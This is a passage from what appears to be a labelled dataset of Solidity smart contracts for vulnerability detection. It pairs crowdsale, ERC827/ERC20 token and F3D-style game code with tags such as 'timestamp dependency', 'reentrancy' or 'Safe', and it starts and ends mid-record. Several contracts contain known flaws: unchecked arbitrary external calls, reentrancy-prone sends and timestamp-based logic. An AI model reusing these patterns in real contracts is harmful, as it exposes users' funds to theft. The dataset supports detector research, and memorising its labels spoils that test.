_multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) { owner = msg.sender; token = FractionalERC20(_token); setPricingStrategy(_pricingStrategy); multisigWallet = _multisigWallet; if(multisigWallet == 0) { throw; } if(_start == 0) { throw; } startsAt = _start; if(_end == 0) { throw; } endsAt = _end; if(startsAt >= endsAt) { throw; } minimumFundingGoal = _minimumFundingGoal; } function investInternal(address receiver, uint128 customerId) stopInEmergency internal returns(uint tokensBought) { Whitelist dc; address contract_addr = 0x062e41d1037745dc203e8c1AAcA651B8d157Da96; dc = Whitelist(contract_addr); require (dc.whitelist(msg.sender)); require (dc.whitelist(receiver)); if(getState() == State.PreFunding) { if(!earlyParticipantWhitelist[receiver]) { throw; } } else if(getState() == State.Funding) { } else { throw; } uint weiAmount = msg.value; require(weiAmount >= minimumFundingGoal); uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised - presaleWeiRaised, tokensSold, msg.sender, token.decimals()); require(tokenAmount != 0); if(investedAmountOf[receiver] == 0) { investorCount++; } investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); if(pricingStrategy.isPresalePurchase(receiver)) { presaleWeiRaised = presaleWeiRaised.plus(weiAmount); } require(!isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)); assignTokens(receiver, tokenAmount); if(!multisigWallet.send(weiAmount)) throw; Invested(receiver, weiAmount, tokenAmount, customerId); return tokenAmount; } function finalize() public inState(State.Success) onlyOwner stopInEmergency { if(finalized) { throw; } if(address(finalizeAgent) != 0) { finalizeAgent.finalizeCrowdsale(); } finalized = true; } function setFinalizeAgent(FinalizeAgent addr) onlyOwner { finalizeAgent = addr; if(!finalizeAgent.isFinalizeAgent()) { throw; } } function setEndsAt(uint time) onlyOwner { if(now > time) { throw; } if(startsAt > time) { throw; } endsAt = time; EndsAtChanged(endsAt); } function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner { pricingStrategy = _pricingStrategy; if(!pricingStrategy.isPricingStrategy()) { throw; } } function setMultisig(address addr) public onlyOwner { if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) { throw; } multisigWallet = addr; } function loadRefund() public payable inState(State.Failure) { if(msg.value == 0) throw; loadedRefund = loadedRefund.plus(msg.value); } function refund() public inState(State.Refunding) { uint256 weiValue = investedAmountOf[msg.sender]; if (weiValue == 0) throw; investedAmountOf[msg.sender] = 0; weiRefunded = weiRefunded.plus(weiValue); Refund(msg.sender, weiValue); if (!msg.sender.send(weiValue)) throw; } function isMinimumGoalReached() public constant returns (bool reached) { return weiRaised >= minimumFundingGoal; } function isFinalizerSane() public constant returns (bool sane) { return finalizeAgent.isSane(); } function isPricingSane() public constant returns (bool sane) { return pricingStrategy.isSane(address(this)); } function getState() public constant returns (State) { if(finalized) return State.Finalized; else if (address(finalizeAgent) == 0) return State.Preparing; else if (!finalizeAgent.isSane()) return State.Preparing; else if (!pricingStrategy.isSane(address(this))) return State.Preparing; else if (block.timestamp < startsAt) return State.PreFunding; else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding; else if (isMinimumGoalReached()) return State.Success; else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding; else return State.Failure; } function setOwnerTestValue(uint val) onlyOwner { ownerTestValue = val; } function setEarlyParicipantWhitelist(address addr, bool status) onlyOwner { earlyParticipantWhitelist[addr] = status; Whitelisted(addr, status); } function isCrowdsale() public constant returns (bool) { return true; } modifier inState(State state) { if(getState() != state) throw; _; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken); function isCrowdsaleFull() public constant returns (bool); function assignTokens(address receiver, uint tokenAmount) internal; } contract Crowdsale is CrowdsaleBase { bool public requireCustomerId; bool public requiredSignedAddress; address public signerAddress; function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) CrowdsaleBase(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { } function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner { uint tokenAmount = fullTokens * 10**token.decimals(); uint weiAmount = weiPrice * fullTokens; weiRaised = weiRaised.plus(weiAmount); tokensSold = tokensSold.plus(tokenAmount); investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount); tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount); assignTokens(receiver, tokenAmount); Invested(receiver, weiAmount, tokenAmount, 0); } function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { bytes32 hash = sha256(addr); if (ecrecover(hash, v, r, s) != signerAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function investWithCustomerId(address addr, uint128 customerId) public payable { if(requiredSignedAddress) throw; if(customerId == 0) throw; investInternal(addr, customerId); } function invest(address addr) public payable { if(requireCustomerId) throw; if(requiredSignedAddress) throw; investInternal(addr, 0); } function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable { investWithSignedAddress(msg.sender, customerId, v, r, s); } function buyWithCustomerIdWithChecksum(uint128 customerId, bytes1 checksum) public payable { if (bytes1(sha3(customerId)) != checksum) throw; investWithCustomerId(msg.sender, customerId); } function buyWithCustomerId(uint128 customerId) public payable { investWithCustomerId(msg.sender, customerId); } function buy() public payable { invest(msg.sender); } function setRequireCustomerId(bool value) onlyOwner { requireCustomerId = value; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner { requiredSignedAddress = value; signerAddress = _signerAddress; InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress); } function () public payable { invest(msg.sender); } } contract MintedTokenCappedCrowdsale is Crowdsale { uint public maximumSellableTokens; function MintedTokenCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _maximumSellableTokens) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) { maximumSellableTokens = _maximumSellableTokens; } function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) { return tokensSoldTotal > maximumSellableTokens; } function isCrowdsaleFull() public constant returns (bool) { return tokensSold >= maximumSellableTokens; } function assignTokens(address receiver, uint tokenAmount) internal { MintableToken mintableToken = MintableToken(token); mintableToken.mint(receiver, tokenAmount); } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract StandardTokenExt is StandardToken, ERC827Token, Recoverable { function isToken() public constant returns (bool weAre) { return true; } } contract MintableToken is StandardTokenExt { using SafeMathLib for uint; bool public mintingFinished = false; mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state); event Minted(address receiver, uint amount); function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply_ = totalSupply_.plus(amount); balances[receiver] = balances[receiver].plus(amount); Transfer(0, receiver, amount); } function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } modifier onlyMintAgent() { if(!mintAgents[msg.sender]) { throw; } _; } modifier canMint() { if(mintingFinished) throw; _; } }",./Dataset/timestamp dependency (TP)/,6,6 0x01671229bbf99b30203f9807c5a577a7b8c358fc_BasicMathLib.sol,"pragma solidity ^0.4.18; /** * @title Basic Math Library * @author Majoolr.io * * version 1.2.0 * Copyright (c) 2017 Majoolr, LLC * The MIT License (MIT) * https://github.com/Majoolr/ethereum-libraries/blob/master/LICENSE * * The Basic Math Library is inspired by the Safe Math library written by * OpenZeppelin at https://github.com/OpenZeppelin/zeppelin-solidity/ . * Majoolr provides smart contract services and security reviews for contract * deployments in addition to working on open source projects in the Ethereum * community. Our purpose is to test, document, and deploy reusable code onto the * blockchain and improve both security and usability. We also educate non-profits, * schools, and other community members about the application of blockchain * technology. * For further information: majoolr.io, openzeppelin.org * * THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS * OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. * IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY * CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, * TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE * SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ library BasicMathLib { /// @dev Multiplies two numbers and checks for overflow before returning. /// Does not throw. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The product of a and b, or 0 if there is overflow function times(uint256 a, uint256 b) public pure returns (bool err,uint256 res) { assembly{ res := mul(a,b) switch or(iszero(b), eq(div(res,b), a)) case 0 { err := 1 res := 0 } } } /// @dev Divides two numbers but checks for 0 in the divisor first. /// Does not throw. /// @param a First number /// @param b Second number /// @return err False normally, or true if `b` is 0 /// @return res The quotient of a and b, or 0 if `b` is 0 function dividedBy(uint256 a, uint256 b) public pure returns (bool err,uint256 i) { uint256 res; assembly{ switch iszero(b) case 0 { res := div(a,b) let loc := mload(0x40) mstore(add(loc,0x20),res) i := mload(add(loc,0x20)) } default { err := 1 i := 0 } } } /// @dev Adds two numbers and checks for overflow before returning. /// Does not throw. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is overflow /// @return res The sum of a and b, or 0 if there is overflow function plus(uint256 a, uint256 b) public pure returns (bool err, uint256 res) { assembly{ res := add(a,b) switch and(eq(sub(res,b), a), or(gt(res,b),eq(res,b))) case 0 { err := 1 res := 0 } } } /// @dev Subtracts two numbers and checks for underflow before returning. /// Does not throw but rather logs an Err event if there is underflow. /// @param a First number /// @param b Second number /// @return err False normally, or true if there is underflow /// @return res The difference between a and b, or 0 if there is underflow function minus(uint256 a, uint256 b) public pure returns (bool err,uint256 res) { assembly{ res := sub(a,b) switch eq(and(eq(add(res,b), a), or(lt(res,a), eq(res,a))), 1) case 0 { err := 1 res := 0 } } } }",Safe,8,8 35511.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 50000000; // Give the creator all initial tokens (100000 for example) totalSupply = 50000000; // Update total supply (100000 for example) name = ""NUMIDIA""; // Set the name for display purposes decimals = 3; // Amount of decimals for display purposes symbol = ""NMD""; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 2205.sol,"pragma solidity ^0.4.24; contract F3Devents { event onNewName ( uint256 indexed playerID, address indexed playerAddress, bytes32 indexed playerName, bool isNewPlayer, uint256 affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 amountPaid, uint256 timeStamp ); event onEndTx ( uint256 compressedData, uint256 compressedIDs, bytes32 playerName, address playerAddress, uint256 ethIn, uint256 keysBought, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount, uint256 potAmount, uint256 airDropPot ); event onWithdraw ( uint256 indexed playerID, address playerAddress, bytes32 playerName, uint256 ethOut, uint256 timeStamp ); event onWithdrawAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethOut, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onBuyAndDistribute ( address playerAddress, bytes32 playerName, uint256 ethIn, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onReLoadAndDistribute ( address playerAddress, bytes32 playerName, uint256 compressedData, uint256 compressedIDs, address winnerAddr, bytes32 winnerName, uint256 amountWon, uint256 newPot, uint256 P3DAmount, uint256 genAmount ); event onAffiliatePayout ( uint256 indexed affiliateID, address affiliateAddress, bytes32 affiliateName, uint256 indexed roundID, uint256 indexed buyerID, uint256 amount, uint256 timeStamp ); event onPotSwapDeposit ( uint256 roundID, uint256 amountAddedToPot ); } contract modularShort is F3Devents {} contract F3DPLUS is modularShort { using SafeMath for *; using NameFilter for string; using F3DKeysCalcShort for uint256; PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x2d457bF93D230aAfD643ea6fA11cb90D814a97b5); address private admin = msg.sender; string constant public name = ""f3dplus""; string constant public symbol = ""f3dplus""; uint256 private rndExtra_ = 0; uint256 private rndGap_ = 2 minutes; uint256 constant private rndInit_ = 8 minutes; uint256 constant private rndInc_ = 1 seconds; uint256 constant private rndMax_ = 10 minutes; uint256 public airDropPot_; uint256 public airDropTracker_ = 0; uint256 public rID_; mapping (address => uint256) public pIDxAddr_; mapping (bytes32 => uint256) public pIDxName_; mapping (uint256 => F3Ddatasets.Player) public plyr_; mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; mapping (uint256 => F3Ddatasets.Round) public round_; mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; mapping (uint256 => F3Ddatasets.TeamFee) public fees_; mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; constructor() public { fees_[0] = F3Ddatasets.TeamFee(22,6); fees_[1] = F3Ddatasets.TeamFee(38,0); fees_[2] = F3Ddatasets.TeamFee(52,10); fees_[3] = F3Ddatasets.TeamFee(68,8); potSplit_[0] = F3Ddatasets.PotSplit(15,10); potSplit_[1] = F3Ddatasets.PotSplit(25,0); potSplit_[2] = F3Ddatasets.PotSplit(20,20); potSplit_[3] = F3Ddatasets.PotSplit(30,10); } modifier isActivated() { require(activated_ == true, ""its not ready yet. check ?eta in discord""); _; } modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } modifier isWithinLimits(uint256 _eth) { require(_eth >= 1000000000, ""pocket lint: not a valid currency""); require(_eth <= 100000000000000000000000, ""no vitalik, no""); _; } function() isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; buyCore(_pID, plyr_[_pID].laff, 2, _eventData_); } function buyXid(uint256 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; if (_affCode == 0 || _affCode == _pID) { _affCode = plyr_[_pID].laff; } else if (_affCode != plyr_[_pID].laff) { plyr_[_pID].laff = _affCode; } _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == address(0) || _affCode == msg.sender) { _affID = plyr_[_pID].laff; } else { _affID = pIDxAddr_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID; if (_affCode == '' || _affCode == plyr_[_pID].name) { _affID = plyr_[_pID].laff; } else { _affID = pIDxName_[_affCode]; if (_affID != plyr_[_pID].laff) { plyr_[_pID].laff = _affID; } } _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000) { uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth); uint256 _refund = _eth.sub(_availableLimit); plyr_[_pID].gen = plyr_[_pID].gen.add(_refund); _eth = _availableLimit; } if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if (round_[_rID].plyr != _pID) round_[_rID].plyr = _pID; if (round_[_rID].team != _team) round_[_rID].team = _team; _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { 